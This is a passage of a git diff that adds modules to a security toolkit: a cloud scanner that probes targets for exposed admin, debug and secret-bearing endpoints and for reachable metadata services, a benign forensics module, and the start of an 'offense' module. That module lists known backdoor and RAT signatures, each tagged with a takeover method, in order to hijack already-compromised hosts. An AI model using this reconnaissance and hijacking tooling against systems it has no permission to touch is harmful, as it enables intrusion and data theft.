'Debug Endpoint'), + ('/actuator', 'Spring Actuator'), + ('/actuator/env', 'Spring Env'), + ('/api/swagger.json', 'Swagger/OpenAPI Spec'), + ('/.well-known/security.txt', 'Security Policy'), + ('/robots.txt', 'Robots.txt'), + ('/sitemap.xml', 'Sitemap'), + ('/graphql', 'GraphQL Endpoint'), + ('/console', 'Console'), + ('/admin', 'Admin Panel'), + ('/wp-admin', 'WordPress Admin'), + ('/phpmyadmin', 'phpMyAdmin'), + ] + + for path, name in checks: + try: + url = f'{target.rstrip("/")}{path}' + resp = requests.get(url, timeout=5, allow_redirects=False) + if resp.status_code == 200: + # Check content for sensitive data + sensitive = False + body = resp.text[:2000].lower() + sensitive_indicators = [ + 'password', 'secret', 'access_key', 'private_key', + 'database', 'db_host', 'smtp_pass', 'api_key' + ] + if any(ind in body for ind in sensitive_indicators): + sensitive = True + + services.append({ + 'path': path, 'name': name, + 'url': url, 'status': resp.status_code, + 'size': len(resp.content), + 'sensitive': sensitive, + 'content_type': resp.headers.get('content-type', '') + }) + except Exception: + pass + + return { + 'ok': True, + 'target': target, + 'services': services, + 'count': len(services) + } + + # ── Metadata SSRF Check ────────────────────────────────────────────── + + def check_metadata_access(self) -> Dict: + """Check if cloud metadata service is accessible (SSRF indicator).""" + results = {} + for provider, url in METADATA_ENDPOINTS.items(): + try: + headers = {} + if provider == 'gcp': + headers['Metadata-Flavor'] = 'Google' + + resp = requests.get(url, headers=headers, timeout=3) + results[provider] = { + 'accessible': resp.status_code == 200, + 'status': resp.status_code, + 'content_preview': resp.text[:200] if resp.status_code == 200 else '' + } + except Exception: + results[provider] = {'accessible': False, 'error': 'Connection failed'} + + return {'ok': True, 'metadata': results} + + # ── Subdomain / DNS Enumeration for Cloud ──────────────────────────── + + def enum_cloud_subdomains(self, domain: str) -> Dict: + """Check for cloud-specific subdomains.""" + if not HAS_REQUESTS: + return {'ok': False, 'error': 'requests not available'} + + cloud_prefixes = [ + 'aws', 's3', 'ec2', 'lambda', 'api', 'cdn', + 'azure', 'blob', 'cloud', 'gcp', 'storage', + 'dev', 'staging', 'prod', 'admin', 'internal', + 'vpn', 'mail', 'smtp', 'imap', 'ftp', 'ssh', + 'db', 'database', 'redis', 'elastic', 'kibana', + 'grafana', 'prometheus', 'jenkins', 'gitlab', 'docker', + 'k8s', 'kubernetes', 'consul', 'vault', 'traefik', + ] + + found = [] + import socket + for prefix in cloud_prefixes: + subdomain = f'{prefix}.{domain}' + try: + ip = socket.gethostbyname(subdomain) + found.append({ + 'subdomain': subdomain, + 'ip': ip, + 'cloud_hint': self._identify_cloud_ip(ip) + }) + except socket.gaierror: + pass + + return {'ok': True, 'domain': domain, 'subdomains': found, 'count': len(found)} + + def _identify_cloud_ip(self, ip: str) -> str: + """Try to identify cloud provider from IP.""" + # Rough range checks + octets = ip.split('.') + if len(octets) == 4: + first = int(octets[0]) + if first in (3, 18, 52, 54, 35): + return 'AWS' + elif first in (20, 40, 52, 104, 13): + return 'Azure' + elif first in (34, 35, 104, 142): + return 'GCP' + return 'Unknown' + + # ── Job Management ─────────────────────────────────────────────────── + + def get_job(self, job_id: str) -> Optional[Dict]: + return self._jobs.get(job_id) + + def list_jobs(self) -> List[Dict]: + return [{'id': k, **v} for k, v in self._jobs.items()] + + # ── Save Results ───────────────────────────────────────────────────── + + def save_results(self, name: str, results: Dict) -> Dict: + """Save scan results.""" + filepath = os.path.join(self.data_dir, f'{name}.json') + with open(filepath, 'w') as f: + json.dump(results, f, indent=2) + return {'ok': True, 'path': filepath} + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_cloud_scanner() -> CloudScanner: + global _instance + if _instance is None: + _instance = CloudScanner() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for Cloud Security module.""" + if not HAS_REQUESTS: + print(" Error: requests library required") + return + + scanner = get_cloud_scanner() + + while True: + print(f"\n{'='*60}") + print(f" Cloud Security Scanner") + print(f"{'='*60}") + print() + print(" 1 — Enumerate S3 Buckets (AWS)") + print(" 2 — Enumerate GCS Buckets (Google)") + print(" 3 — Enumerate Azure Blobs") + print(" 4 — Scan Exposed Services") + print(" 5 — Check Metadata Access (SSRF)") + print(" 6 — Cloud Subdomain Enum") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + kw = input(" Target keyword: ").strip() + if kw: + job_id = scanner.enum_s3_buckets(kw) + print(f" Scanning... (job: {job_id})") + while True: + job = scanner.get_job(job_id) + if job['status'] == 'complete': + for b in job['found']: + status = 'PUBLIC+LISTABLE' if b.get('listable') else \ + ('PUBLIC' if b.get('public') else 'EXISTS') + print(f" [{status}] {b['bucket']}") + if not job['found']: + print(" No buckets found") + break + time.sleep(1) + elif choice == '4': + target = input(" Target URL: ").strip() + if target: + result = scanner.scan_exposed_services(target) + for s in result['services']: + flag = ' [SENSITIVE]' if s.get('sensitive') else '' + print(f" {s['path']}: {s['name']}{flag}") + elif choice == '5': + result = scanner.check_metadata_access() + for provider, info in result['metadata'].items(): + status = 'ACCESSIBLE' if info.get('accessible') else 'blocked' + print(f" {provider}: {status}") + elif choice == '6': + domain = input(" Target domain: ").strip() + if domain: + result = scanner.enum_cloud_subdomains(domain) + for s in result['subdomains']: + print(f" {s['subdomain']} → {s['ip']} ({s['cloud_hint']})") diff --git a/modules/forensics.py b/modules/forensics.py new file mode 100644 index 0000000..5aeb5fb --- /dev/null +++ b/modules/forensics.py @@ -0,0 +1,595 @@ +"""AUTARCH Forensics Toolkit + +Disk imaging, file carving, metadata extraction, timeline building, +hash verification, and chain of custody logging for digital forensics. +""" + +DESCRIPTION = "Digital forensics & evidence analysis" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import re +import json +import time +import hashlib +import struct +import shutil +import subprocess +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any, Tuple + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +# Optional imports +try: + from PIL import Image as PILImage + from PIL.ExifTags import TAGS, GPSTAGS + HAS_PIL = True +except ImportError: + HAS_PIL = False + + +# ── File Signatures for Carving ────────────────────────────────────────────── + +FILE_SIGNATURES = [ + {'name': 'JPEG', 'ext': '.jpg', 'magic': b'\xFF\xD8\xFF', 'footer': b'\xFF\xD9', 'max_size': 50*1024*1024}, + {'name': 'PNG', 'ext': '.png', 'magic': b'\x89PNG\r\n\x1a\n', 'footer': b'IEND\xAE\x42\x60\x82', 'max_size': 50*1024*1024}, + {'name': 'GIF', 'ext': '.gif', 'magic': b'GIF8', 'footer': b'\x00\x3B', 'max_size': 20*1024*1024}, + {'name': 'PDF', 'ext': '.pdf', 'magic': b'%PDF', 'footer': b'%%EOF', 'max_size': 100*1024*1024}, + {'name': 'ZIP', 'ext': '.zip', 'magic': b'PK\x03\x04', 'footer': None, 'max_size': 500*1024*1024}, + {'name': 'RAR', 'ext': '.rar', 'magic': b'Rar!\x1a\x07', 'footer': None, 'max_size': 500*1024*1024}, + {'name': 'ELF', 'ext': '.elf', 'magic': b'\x7fELF', 'footer': None, 'max_size': 100*1024*1024}, + {'name': 'PE/EXE', 'ext': '.exe', 'magic': b'MZ', 'footer': None, 'max_size': 100*1024*1024}, + {'name': 'SQLite', 'ext': '.sqlite', 'magic': b'SQLite format 3\x00', 'footer': None, 'max_size': 500*1024*1024}, + {'name': 'DOCX', 'ext': '.docx', 'magic': b'PK\x03\x04', 'footer': None, 'max_size': 100*1024*1024}, + {'name': '7z', 'ext': '.7z', 'magic': b"7z\xBC\xAF'\x1C", 'footer': None, 'max_size': 500*1024*1024}, + {'name': 'BMP', 'ext': '.bmp', 'magic': b'BM', 'footer': None, 'max_size': 50*1024*1024}, + {'name': 'MP3', 'ext': '.mp3', 'magic': b'\xFF\xFB', 'footer': None, 'max_size': 50*1024*1024}, + {'name': 'MP4', 'ext': '.mp4', 'magic': b'\x00\x00\x00\x18ftyp', 'footer': None, 'max_size': 1024*1024*1024}, + {'name': 'AVI', 'ext': '.avi', 'magic': b'RIFF', 'footer': None, 'max_size': 1024*1024*1024}, +] + + +# ── Chain of Custody Logger ────────────────────────────────────────────────── + +class CustodyLog: + """Chain of custody logging for forensic evidence.""" + + def __init__(self, data_dir: str): + self.log_file = os.path.join(data_dir, 'custody_log.json') + self.entries: List[Dict] = [] + self._load() + + def _load(self): + if os.path.exists(self.log_file): + try: + with open(self.log_file) as f: + self.entries = json.load(f) + except Exception: + pass + + def _save(self): + with open(self.log_file, 'w') as f: + json.dump(self.entries, f, indent=2) + + def log(self, action: str, target: str, details: str = "", + evidence_hash: str = "") -> Dict: + """Log a forensic action.""" + entry = { + 'id': len(self.entries) + 1, + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'action': action, + 'target': target, + 'details': details, + 'evidence_hash': evidence_hash, + 'user': os.getenv('USER', os.getenv('USERNAME', 'unknown')) + } + self.entries.append(entry) + self._save() + return entry + + def get_log(self) -> List[Dict]: + return self.entries + + +# ── Forensics Engine ───────────────────────────────────────────────────────── + +class ForensicsEngine: + """Digital forensics toolkit.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'forensics') + os.makedirs(self.data_dir, exist_ok=True) + self.evidence_dir = os.path.join(self.data_dir, 'evidence') + os.makedirs(self.evidence_dir, exist_ok=True) + self.carved_dir = os.path.join(self.data_dir, 'carved') + os.makedirs(self.carved_dir, exist_ok=True) + self.custody = CustodyLog(self.data_dir) + self.dd = find_tool('dd') or shutil.which('dd') + + # ── Hash Verification ──────────────────────────────────────────────── + + def hash_file(self, filepath: str, algorithms: List[str] = None) -> Dict: + """Calculate file hashes for evidence integrity.""" + algorithms = algorithms or ['md5', 'sha1', 'sha256'] + + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + try: + hashers = {alg: hashlib.new(alg) for alg in algorithms} + file_size = os.path.getsize(filepath) + + with open(filepath, 'rb') as f: + while True: + chunk = f.read(8192) + if not chunk: + break + for h in hashers.values(): + h.update(chunk) + + hashes = {alg: h.hexdigest() for alg, h in hashers.items()} + + self.custody.log('hash_verify', filepath, + f'Hashes: {", ".join(f"{k}={v[:16]}..." for k, v in hashes.items())}', + hashes.get('sha256', '')) + + return { + 'ok': True, 'file': filepath, + 'size': file_size, 'hashes': hashes + } + + except Exception as e: + return {'ok': False, 'error': str(e)} + + def verify_hash(self, filepath: str, expected_hash: str, + algorithm: str = None) -> Dict: + """Verify file against expected hash.""" + # Auto-detect algorithm from hash length + if not algorithm: + hash_len = len(expected_hash) + algorithm = {32: 'md5', 40: 'sha1', 64: 'sha256', 128: 'sha512'}.get(hash_len) + if not algorithm: + return {'ok': False, 'error': f'Cannot detect algorithm for hash length {hash_len}'} + + result = self.hash_file(filepath, [algorithm]) + if not result['ok']: + return result + + actual = result['hashes'][algorithm] + match = actual.lower() == expected_hash.lower() + + self.custody.log('hash_verify', filepath, + f'Expected: {expected_hash[:16]}... Match: {match}') + + return { + 'ok': True, 'match': match, + 'algorithm': algorithm, + 'expected': expected_hash, + 'actual': actual, + 'file': filepath + } + + # ── Disk Imaging ───────────────────────────────────────────────────── + + def create_image(self, source: str, output: str = None, + block_size: int = 4096) -> Dict: + """Create forensic disk image using dd.""" + if not self.dd: + return {'ok': False, 'error': 'dd not found'} + + if not output: + name = Path(source).name.replace('/', '_') + output = os.path.join(self.evidence_dir, f'{name}_{int(time.time())}.img') + + self.custody.log('disk_image', source, f'Creating image: {output}') + + try: + result = subprocess.run( + [self.dd, f'if={source}', f'of={output}', f'bs={block_size}', + 'conv=noerror,sync', 'status=progress'], + capture_output=True, text=True, timeout=3600 + ) + + if os.path.exists(output): + # Hash the image + hashes = self.hash_file(output, ['md5', 'sha256']) + + self.custody.log('disk_image_complete', output, + f'Image created, SHA256: {hashes.get("hashes", {}).get("sha256", "?")}') + + return { + 'ok': True, 'source': source, 'output': output, + 'size': os.path.getsize(output), + 'hashes': hashes.get('hashes', {}), + 'dd_output': result.stderr + } + return {'ok': False, 'error': 'Image file not created', 'stderr': result.stderr} + + except subprocess.TimeoutExpired: + return {'ok': False, 'error': 'Imaging timed out (1hr limit)'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── File Carving ───────────────────────────────────────────────────── + + def carve_files(self, source: str, file_types: List[str] = None, + max_files: int = 100) -> Dict: + """Recover files from raw data by magic byte signatures.""" + if not os.path.exists(source): + return {'ok': False, 'error': 'Source file not found'} + + self.custody.log('file_carving', source, f'Starting carve, types={file_types}') + + # Filter signatures + sigs = FILE_SIGNATURES + if file_types: + type_set = {t.lower() for t in file_types} + sigs = [s for s in sigs if s['name'].lower() in type_set or + s['ext'].lstrip('.').lower() in type_set] + + carved = [] + file_size = os.path.getsize(source) + chunk_size = 1024 * 1024 # 1MB chunks + + try: + with open(source, 'rb') as f: + offset = 0 + while offset < file_size and len(carved) < max_files: + f.seek(offset) + chunk = f.read(chunk_size) + if not chunk: + break + + for sig in sigs: + pos = 0 + while pos < len(chunk) and len(carved) < max_files: + idx = chunk.find(sig['magic'], pos) + if idx == -1: + break + + abs_offset = offset + idx + # Try to find file end + file_end = abs_offset + sig['max_size'] + if sig['footer']: + f.seek(abs_offset) + search_data = f.read(min(sig['max_size'], file_size - abs_offset)) + footer_pos = search_data.find(sig['footer'], len(sig['magic'])) + if footer_pos != -1: + file_end = abs_offset + footer_pos + len(sig['footer']) + + # Extract file + extract_size = min(file_end - abs_offset, sig['max_size']) + f.seek(abs_offset) + file_data = f.read(extract_size) + + # Save carved file + carved_name = f'carved_{len(carved):04d}_{sig["name"]}{sig["ext"]}' + carved_path = os.path.join(self.carved_dir, carved_name) + with open(carved_path, 'wb') as cf: + cf.write(file_data) + + file_hash = hashlib.md5(file_data).hexdigest() + carved.append({ + 'name': carved_name, + 'path': carved_path, + 'type': sig['name'], + 'offset': abs_offset, + 'size': len(file_data), + 'md5': file_hash + }) + + pos = idx + len(sig['magic']) + + offset += chunk_size - max(len(s['magic']) for s in sigs) + + self.custody.log('file_carving_complete', source, + f'Carved {len(carved)} files') + + return { + 'ok': True, 'source': source, + 'carved': carved, 'count': len(carved), + 'output_dir': self.carved_dir + } + + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Metadata Extraction ────────────────────────────────────────────── + + def extract_metadata(self, filepath: str) -> Dict: + """Extract metadata from files (EXIF, PDF, Office, etc.).""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + ext = Path(filepath).suffix.lower() + metadata = { + 'file': filepath, + 'name': Path(filepath).name, + 'size': os.path.getsize(filepath), + 'created': datetime.fromtimestamp(os.path.getctime(filepath), timezone.utc).isoformat(), + 'modified': datetime.fromtimestamp(os.path.getmtime(filepath), timezone.utc).isoformat(), + 'accessed': datetime.fromtimestamp(os.path.getatime(filepath), timezone.utc).isoformat(), + } + + # EXIF for images + if ext in ('.jpg', '.jpeg', '.tiff', '.tif', '.png') and HAS_PIL: + try: + img = PILImage.open(filepath) + metadata['image'] = { + 'width': img.size[0], 'height': img.size[1], + 'format': img.format, 'mode': img.mode + } + exif = img._getexif() + if exif: + exif_data = {} + gps_data = {} + for tag_id, value in exif.items(): + tag = TAGS.get(tag_id, tag_id) + if tag == 'GPSInfo': + for gps_id, gps_val in value.items(): + gps_tag = GPSTAGS.get(gps_id, gps_id) + gps_data[str(gps_tag)] = str(gps_val) + else: + # Convert bytes to string for JSON serialization + if isinstance(value, bytes): + try: + value = value.decode('utf-8', errors='replace') + except Exception: + value = value.hex() + exif_data[str(tag)] = str(value) + metadata['exif'] = exif_data + if gps_data: + metadata['gps'] = gps_data + except Exception: + pass + + # PDF metadata + elif ext == '.pdf': + try: + with open(filepath, 'rb') as f: + content = f.read(4096) + # Extract info dict + for key in [b'/Title', b'/Author', b'/Subject', b'/Creator', + b'/Producer', b'/CreationDate', b'/ModDate']: + pattern = key + rb'\s*\(([^)]*)\)' + m = re.search(pattern, content) + if m: + k = key.decode().lstrip('/') + metadata.setdefault('pdf', {})[k] = m.group(1).decode('utf-8', errors='replace') + except Exception: + pass + + # Generic file header + try: + with open(filepath, 'rb') as f: + header = f.read(16) + metadata['magic_bytes'] = header.hex() + for sig in FILE_SIGNATURES: + if header.startswith(sig['magic']): + metadata['detected_type'] = sig['name'] + break + except Exception: + pass + + self.custody.log('metadata_extract', filepath, f'Type: {metadata.get("detected_type", "unknown")}') + + return {'ok': True, **metadata} + + # ── Timeline Builder ───────────────────────────────────────────────── + + def build_timeline(self, directory: str, recursive: bool = True, + max_entries: int = 10000) -> Dict: + """Build filesystem timeline from directory metadata.""" + if not os.path.exists(directory): + return {'ok': False, 'error': 'Directory not found'} + + events = [] + count = 0 + + walk_fn = os.walk if recursive else lambda d: [(d, [], os.listdir(d))] + for root, dirs, files in walk_fn(directory): + for name in files: + if count >= max_entries: + break + filepath = os.path.join(root, name) + try: + stat = os.stat(filepath) + events.append({ + 'type': 'modified', + 'timestamp': datetime.fromtimestamp(stat.st_mtime, timezone.utc).isoformat(), + 'epoch': stat.st_mtime, + 'file': filepath, + 'size': stat.st_size + }) + events.append({ + 'type': 'created', + 'timestamp': datetime.fromtimestamp(stat.st_ctime, timezone.utc).isoformat(), + 'epoch': stat.st_ctime, + 'file': filepath, + 'size': stat.st_size + }) + events.append({ + 'type': 'accessed', + 'timestamp': datetime.fromtimestamp(stat.st_atime, timezone.utc).isoformat(), + 'epoch': stat.st_atime, + 'file': filepath, + 'size': stat.st_size + }) + count += 1 + except (OSError, PermissionError): + pass + + # Sort by timestamp + events.sort(key=lambda e: e['epoch']) + + self.custody.log('timeline_build', directory, + f'{count} files, {len(events)} events') + + return { + 'ok': True, 'directory': directory, + 'events': events, 'event_count': len(events), + 'file_count': count + } + + # ── Evidence Management ────────────────────────────────────────────── + + def list_evidence(self) -> List[Dict]: + """List evidence files.""" + evidence = [] + edir = Path(self.evidence_dir) + for f in sorted(edir.iterdir()): + if f.is_file(): + evidence.append({ + 'name': f.name, + 'path': str(f), + 'size': f.stat().st_size, + 'modified': datetime.fromtimestamp(f.stat().st_mtime, timezone.utc).isoformat() + }) + return evidence + + def list_carved(self) -> List[Dict]: + """List carved files.""" + carved = [] + cdir = Path(self.carved_dir) + for f in sorted(cdir.iterdir()): + if f.is_file(): + carved.append({ + 'name': f.name, + 'path': str(f), + 'size': f.stat().st_size + }) + return carved + + def get_custody_log(self) -> List[Dict]: + """Get chain of custody log.""" + return self.custody.get_log() + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_forensics() -> ForensicsEngine: + global _instance + if _instance is None: + _instance = ForensicsEngine() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for Forensics module.""" + engine = get_forensics() + + while True: + print(f"\n{'='*60}") + print(f" Digital Forensics Toolkit") + print(f"{'='*60}") + print() + print(" 1 — Hash File (integrity verification)") + print(" 2 — Verify Hash") + print(" 3 — Create Disk Image") + print(" 4 — Carve Files (recover deleted)") + print(" 5 — Extract Metadata (EXIF/PDF/headers)") + print(" 6 — Build Timeline") + print(" 7 — List Evidence") + print(" 8 — List Carved Files") + print(" 9 — Chain of Custody Log") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + filepath = input(" File path: ").strip() + if filepath: + result = engine.hash_file(filepath) + if result['ok']: + print(f" Size: {result['size']} bytes") + for alg, h in result['hashes'].items(): + print(f" {alg.upper()}: {h}") + else: + print(f" Error: {result['error']}") + elif choice == '2': + filepath = input(" File path: ").strip() + expected = input(" Expected hash: ").strip() + if filepath and expected: + result = engine.verify_hash(filepath, expected) + if result['ok']: + status = 'MATCH' if result['match'] else 'MISMATCH' + print(f" {status} ({result['algorithm'].upper()})") + else: + print(f" Error: {result['error']}") + elif choice == '3': + source = input(" Source device/file: ").strip() + output = input(" Output path (blank=auto): ").strip() or None + if source: + result = engine.create_image(source, output) + if result['ok']: + mb = result['size'] / (1024*1024) + print(f" Image created: {result['output']} ({mb:.1f} MB)") + else: + print(f" Error: {result['error']}") + elif choice == '4': + source = input(" Source file/image: ").strip() + types = input(" File types (blank=all, comma-sep): ").strip() + if source: + file_types = [t.strip() for t in types.split(',')] if types else None + result = engine.carve_files(source, file_types) + if result['ok']: + print(f" Carved {result['count']} files to {result['output_dir']}") + for c in result['carved'][:10]: + print(f" {c['name']} {c['type']} {c['size']} bytes offset={c['offset']}") + else: + print(f" Error: {result['error']}") + elif choice == '5': + filepath = input(" File path: ").strip() + if filepath: + result = engine.extract_metadata(filepath) + if result['ok']: + print(f" Name: {result['name']}") + print(f" Size: {result['size']}") + print(f" Type: {result.get('detected_type', 'unknown')}") + if 'exif' in result: + print(f" EXIF entries: {len(result['exif'])}") + for k, v in list(result['exif'].items())[:5]: + print(f" {k}: {v[:50]}") + if 'gps' in result: + print(f" GPS data: {result['gps']}") + else: + print(f" Error: {result['error']}") + elif choice == '6': + directory = input(" Directory path: ").strip() + if directory: + result = engine.build_timeline(directory) + if result['ok']: + print(f" {result['file_count']} files, {result['event_count']} events") + for e in result['events'][:10]: + print(f" {e['timestamp']} {e['type']:<10} {Path(e['file']).name}") + else: + print(f" Error: {result['error']}") + elif choice == '7': + for e in engine.list_evidence(): + mb = e['size'] / (1024*1024) + print(f" {e['name']} ({mb:.1f} MB)") + elif choice == '8': + for c in engine.list_carved(): + print(f" {c['name']} ({c['size']} bytes)") + elif choice == '9': + log = engine.get_custody_log() + print(f" {len(log)} entries:") + for entry in log[-10:]: + print(f" [{entry['timestamp'][:19]}] {entry['action']}: {entry['target']}") diff --git a/modules/hack_hijack.py b/modules/hack_hijack.py new file mode 100644 index 0000000..9e9b097 --- /dev/null +++ b/modules/hack_hijack.py @@ -0,0 +1,1100 @@ +"""AUTARCH Hack Hijack Module + +Scans target systems for signs of existing compromise — open backdoors, +known exploit artifacts, rogue services, suspicious listeners — then +provides tools to take over those footholds. + +Detection signatures include: +- EternalBlue/DoublePulsar (MS17-010) backdoors +- Common RAT listeners (Meterpreter, Cobalt Strike, njRAT, etc.) +- Known backdoor ports and banner fingerprints +- Web shells on HTTP services +- Suspicious SSH authorized_keys or rogue SSHD +- Open reverse-shell listeners +- Rogue SOCKS/HTTP proxies +- Cryptocurrency miners +""" + +DESCRIPTION = "Hijack already-compromised systems" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import json +import time +import socket +import struct +import threading +import subprocess +from datetime import datetime, timezone +from pathlib import Path +from typing import Dict, List, Optional, Any +from dataclasses import dataclass, field + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + import shutil + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Known Backdoor Signatures ──────────────────────────────────────────────── + +@dataclass +class BackdoorSignature: + name: str + port: int + protocol: str # tcp / udp + banner_pattern: str = '' # regex or substring in banner + probe: bytes = b'' # bytes to send to trigger banner + description: str = '' + category: str = 'generic' # eternalblue, rat, webshell, miner, proxy, shell + takeover_method: str = '' # how to hijack + + +# Port-based detection signatures +BACKDOOR_SIGNATURES: List[BackdoorSignature] = [ + # ── EternalBlue / DoublePulsar ──────────────────────────────────────── + BackdoorSignature( + name='DoublePulsar SMB Backdoor', + port=445, + protocol='tcp', + description='NSA DoublePulsar implant via EternalBlue (MS17-010). ' + 'Detected by SMB Trans2 SESSION_SETUP anomaly.', + category='eternalblue', + takeover_method='doublepulsar_inject', + ), + + # ── Common RAT / C2 Listeners ───────────────────────────────────────── + BackdoorSignature( + name='Meterpreter Reverse TCP', + port=4444, + protocol='tcp', + banner_pattern='', + description='Default Metasploit Meterpreter reverse TCP handler.', + category='rat', + takeover_method='meterpreter_session', + ), + BackdoorSignature( + name='Meterpreter Bind TCP', + port=4444, + protocol='tcp', + banner_pattern='', + description='Metasploit bind shell / Meterpreter bind TCP.', + category='rat', + takeover_method='meterpreter_connect', + ), + BackdoorSignature( + name='Cobalt Strike Beacon (HTTPS)', + port=443, + protocol='tcp', + banner_pattern='', + description='Cobalt Strike default HTTPS beacon listener.', + category='rat', + takeover_method='beacon_takeover', + ), + BackdoorSignature( + name='Cobalt Strike Beacon (HTTP)', + port=80, + protocol='tcp', + banner_pattern='', + description='Cobalt Strike HTTP beacon listener.', + category='rat', + takeover_method='beacon_takeover', + ), + BackdoorSignature( + name='Cobalt Strike DNS', + port=53, + protocol='udp', + description='Cobalt Strike DNS beacon channel.', + category='rat', + takeover_method='dns_tunnel_hijack', + ), + BackdoorSignature( + name='njRAT', + port=5552, + protocol='tcp', + banner_pattern='njRAT', + description='njRAT default C2 port.', + category='rat', + takeover_method='generic_connect', + ), + BackdoorSignature( + name='DarkComet', + port=1604, + protocol='tcp', + banner_pattern='', + description='DarkComet RAT default port.', + category='rat', + takeover_method='generic_connect', + ), + BackdoorSignature( + name='Quasar RAT', + port=4782, + protocol='tcp', + description='Quasar RAT default listener.', + category='rat', + takeover_method='generic_connect', + ), + BackdoorSignature( + name='AsyncRAT', + port=6606, + protocol='tcp', + description='AsyncRAT default C2 port.', + category='rat', + takeover_method='generic_connect', + ), + BackdoorSignature( + name='Gh0st RAT', + port=8000, + protocol='tcp', + banner_pattern='Gh0st', + probe=b'Gh0st\x00', + description='Gh0st RAT C2 communication.', + category='rat', + takeover_method='generic_connect', + ), + BackdoorSignature( + name='Poison Ivy', + port=3460, + protocol='tcp', + description='Poison Ivy RAT default port.', + category='rat', + takeover_method='generic_connect', + ), + + # ── Shell Backdoors ─────────────────────────────────────────────────── + BackdoorSignature( + name='Netcat Listener', + port=4445, + protocol='tcp', + description='Common netcat reverse/bind shell port.', + category='shell', + takeover_method='raw_shell', + ), + BackdoorSignature( + name='Bind Shell (31337)', + port=31337, + protocol='tcp', + description='Classic "elite" backdoor port.', + category='shell', + takeover_method='raw_shell', + ), + BackdoorSignature( + name='Bind Shell (1337)', + port=1337, + protocol='tcp', + description='Common backdoor/bind shell port.', + category='shell', + takeover_method='raw_shell', + ), + BackdoorSignature( + name='Telnet Backdoor', + port=23, + protocol='tcp', + banner_pattern='login:', + description='Telnet service — often left open with weak/default creds.', + category='shell', + takeover_method='telnet_bruteforce', + ), + + # ── Web Shells ──────────────────────────────────────────────────────── + BackdoorSignature( + name='PHP Web Shell (8080)', + port=8080, + protocol='tcp', + banner_pattern='', + description='HTTP service on non-standard port — check for web shells.', + category='webshell', + takeover_method='webshell_detect', + ), + BackdoorSignature( + name='PHP Web Shell (8888)', + port=8888, + protocol='tcp', + description='HTTP service on port 8888 — common web shell host.', + category='webshell', + takeover_method='webshell_detect', + ), + + # ── Proxies / Tunnels ───────────────────────────────────────────────── + BackdoorSignature( + name='SOCKS Proxy', + port=1080, + protocol='tcp', + description='SOCKS proxy — may be a pivot point.', + category='proxy', + takeover_method='socks_connect', + ), + BackdoorSignature( + name='SOCKS5 Proxy (9050)', + port=9050, + protocol='tcp', + description='Tor SOCKS proxy or attacker pivot.', + category='proxy', + takeover_method='socks_connect', + ), + BackdoorSignature( + name='HTTP Proxy (3128)', + port=3128, + protocol='tcp', + description='Squid/HTTP proxy — possible attacker tunnel.', + category='proxy', + takeover_method='http_proxy_use', + ), + BackdoorSignature( + name='SSH Tunnel (2222)', + port=2222, + protocol='tcp', + banner_pattern='SSH-', + description='Non-standard SSH — possibly attacker-planted SSHD.', + category='shell', + takeover_method='ssh_connect', + ), + + # ── Miners ──────────────────────────────────────────────────────────── + BackdoorSignature( + name='Cryptominer Stratum', + port=3333, + protocol='tcp', + banner_pattern='mining', + description='Stratum mining protocol — cryptojacking indicator.', + category='miner', + takeover_method='miner_redirect', + ), + BackdoorSignature( + name='Cryptominer (14444)', + port=14444, + protocol='tcp', + description='Common XMR mining pool port.', + category='miner', + takeover_method='miner_redirect', + ), +] + +# Additional ports to probe beyond signature list +EXTRA_SUSPICIOUS_PORTS = [ + 1234, 1337, 2323, 3389, 4321, 4443, 4444, 4445, 5555, 5900, + 6660, 6666, 6667, 6697, 7777, 8443, 9001, 9090, 9999, + 12345, 17321, 17322, 20000, 27015, 31337, 33890, 40000, + 41337, 43210, 50000, 54321, 55553, 65535, +] + + +# ── Scan Result Types ───────────────────────────────────────────────────────── + +@dataclass +class PortResult: + port: int + protocol: str + state: str # open, closed, filtered + banner: str = '' + service: str = '' + + +@dataclass +class BackdoorHit: + signature: str # name from BackdoorSignature + port: int + confidence: str # high, medium, low + banner: str = '' + details: str = '' + category: str = '' + takeover_method: str = '' + + +@dataclass +class ScanResult: + target: str + scan_time: str + duration: float + open_ports: List[PortResult] = field(default_factory=list) + backdoors: List[BackdoorHit] = field(default_factory=list) + os_guess: str = '' + smb_info: Dict[str, Any] = field(default_factory=dict) + nmap_raw: str = '' + + def to_dict(self) -> dict: + return { + 'target': self.target, + 'scan_time': self.scan_time, + 'duration': round(self.duration, 2), + 'open_ports': [ + {'port': p.port, 'protocol': p.protocol, + 'state': p.state, 'banner': p.banner, 'service': p.service} + for p in self.open_ports + ], + 'backdoors': [ + {'signature': b.signature, 'port': b.port, + 'confidence': b.confidence, 'banner': b.banner, + 'details': b.details, 'category': b.category, + 'takeover_method': b.takeover_method} + for b in self.backdoors + ], + 'os_guess': self.os_guess, + 'smb_info': self.smb_info, + } + + +# ── Hack Hijack Service ────────────────────────────────────────────────────── + +class HackHijackService: + """Scans for existing compromises and provides takeover capabilities.""" + + def __init__(self): + self._data_dir = os.path.join(get_data_dir(), 'hack_hijack') + os.makedirs(self._data_dir, exist_ok=True) + self._scans_file = os.path.join(self._data_dir, 'scans.json') + self._scans: List[dict] = [] + self._load_scans() + self._active_sessions: Dict[str, dict] = {} + + def 